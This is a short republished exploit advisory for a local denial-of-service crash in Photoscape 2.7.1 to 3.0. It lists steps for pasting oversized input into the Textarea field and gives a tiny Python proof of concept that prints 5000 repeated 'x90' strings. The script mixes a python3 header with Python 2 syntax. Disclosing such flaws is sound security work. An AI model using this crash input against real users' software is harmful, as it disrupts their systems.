Exploit/Advisories

Published on April 11th, 2020 📆 | 6337 Views ⚑

0

Photoscape Textarea Denial Of Service ↭


iSpeech

# Exploit Title: Photoscape 2.7.1 < 3.0  - 'Textarea' Denial of Service
(PoC)
# Author: HexraiN
# Date: 2020-04-10
# Vendor Homepage: http://www.photoscape.org/
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Parrot OS , Windows 10

Steps to Produce the Crash:
1.- Run Python Exploit
2.- Copy output to clipboard
3.- Open Photoscape
4.- Select Any image
5.- Go To Menu > Object and select Create
6.- Paste ClipBoard on "Textarea"
7.- Crashed..

PoC :

#!/usr/bin/python3





buf = ""
buf += "x90"*5000

print buf

Source link

Tagged with:



Comments are closed.